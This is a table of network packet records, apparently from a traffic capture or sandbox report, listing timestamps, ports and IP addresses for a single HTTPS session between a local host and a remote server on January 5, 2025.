Jan 5, 2025 18:52:50.683482885 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.683506966 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.683523893 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.683954954 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.683969975 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.684014082 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.684014082 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.684025049 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.684043884 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.684072971 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.684077978 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.684107065 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.684114933 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.774298906 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.774318933 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.774568081 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.774576902 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.774588108 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.774605989 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.774633884 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.774640083 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.774672985 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.774701118 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.774868011 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.774882078 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.774928093 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.774931908 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.774961948 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.774976969 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.775191069 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.775204897 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.775238037 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.775243044 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.775266886 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.775280952 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.775480032 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.775494099 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.775554895 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.775559902 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.775840044 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.775857925 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.775903940 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.775911093 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.775960922 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.775976896 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.776091099 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.776104927 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.776143074 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.776149035 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.776173115 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.776185036 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.815952063 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.815969944 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.816099882 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.816113949 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.816261053 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.867297888 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.867321014 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.867396116 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.867408037 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.867470026 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.867487907 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.867528915 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.867536068 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.867572069 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.867590904 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.867692947 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.867711067 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.867744923 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.867749929 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.867775917 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.867790937 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.867949009 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.867964029 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.868031979 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.868037939 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.868160009 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.868176937 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.868213892 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.868221998 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.868242025 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.868267059 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.868448973 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.868462086 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.868527889 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.868532896 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.868572950 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.868585110 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.868710041 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.868724108 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.868788958 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.868794918 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.868963003 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.868982077 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.908778906 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.908796072 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.908894062 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.908905029 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.909964085 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.970710039 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.970729113 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.970804930 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.970818996 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.970921040 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.970940113 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.970980883 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.970988035 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.971024036 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.971052885 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.971297026 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.971318960 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.971359015 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.971364021 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.971374035 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.971399069 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.971677065 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.971692085 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.971748114 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.971755028 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.971863985 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.971889019 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.971903086 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.971949100 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.971954107 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.971970081 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.971993923 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.972271919 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.972285986 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.972347021 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.972352982 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.972609043 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.972628117 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.972681999 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:50.972688913 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:50.974528074 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.001142025 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.001158953 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.001244068 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.001271009 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.002393961 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.063127995 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.063144922 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.063255072 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.063281059 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.063436985 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.063461065 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.063505888 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.063513041 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.063525915 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.063671112 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.063684940 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.063736916 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.063744068 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.063976049 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.063987970 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.064032078 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.064039946 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.064177036 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.064191103 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.064241886 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.064249039 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.064739943 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.064754009 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.064836979 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.064842939 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.064933062 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.064948082 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.065005064 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.065012932 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.093771935 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.093787909 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.093872070 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.093880892 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.137588024 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.155726910 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.155749083 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.155937910 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.155950069 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.155961037 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.156032085 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.156265020 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.156280994 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.156341076 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.156347990 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.156564951 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.156582117 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.156646967 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.156655073 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.156881094 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.156902075 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.156950951 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.156959057 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.157125950 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.157143116 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.157176971 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.157182932 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.157219887 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.157428980 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.157444954 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.157509089 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.157515049 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.186228991 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.186249018 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.186296940 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.186306953 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.186337948 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.231390953 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.248342037 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.248406887 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.248435020 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.248442888 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.248473883 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.248490095 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.248522043 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.248538017 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.248600960 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.248606920 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.248677015 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.248774052 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.248790026 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.248845100 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.248852015 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.249027967 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.249095917 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.249110937 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.249150991 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.249156952 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.249208927 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.249208927 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.249296904 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.249310017 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.249351025 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.249356985 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.249382973 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.249382973 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.249619961 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.249634981 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.249677896 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.249684095 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.249708891 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.249730110 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.250138044 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.250152111 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.250165939 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.250196934 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.250202894 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.250294924 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.250307083 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.278471947 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.278518915 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.278536081 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.278544903 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.278573990 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.278590918 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.341213942 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.341236115 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.341274977 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.341283083 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.341312885 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.341332912 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.341553926 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.341581106 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.341605902 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.341610909 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.341639042 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.341648102 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.341732025 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.341746092 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.341785908 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.341792107 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.341814995 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.341829062 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.341841936 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.341857910 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.341893911 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.341902018 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.341921091 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.342067957 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.342091084 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.342104912 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.342138052 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.342144012 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.342164993 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.342184067 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.352698088 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.352713108 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.352761030 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.352766991 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.352797985 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.352809906 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.352904081 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.352917910 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.352957964 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.352965117 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.353081942 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.371063948 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.371082067 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.371144056 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.371153116 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.371330976 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.434694052 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.434714079 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.434797049 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.434823036 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.434837103 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.434855938 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.434890985 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.434897900 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.434909105 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.434935093 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.434940100 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.434950113 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.434978008 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.434982061 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.434987068 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.435024023 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.435034990 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.435049057 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.435086966 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.435094118 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.435100079 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.435148001 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.435491085 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.435504913 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.435543060 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.435549021 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.435570955 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.435899019 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.435899973 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.435911894 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.435930014 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.435956955 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.435961962 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.435988903 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.436961889 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.463505983 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.463530064 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.463623047 CET	49885	443	192.168.2.5	188.114.96.3
Jan 5, 2025 18:52:51.463641882 CET	443	49885	188.114.96.3	192.168.2.5
Jan 5, 2025 18:52:51.512598038 CET	49885	443	192.168.2.5	188.114.96.3
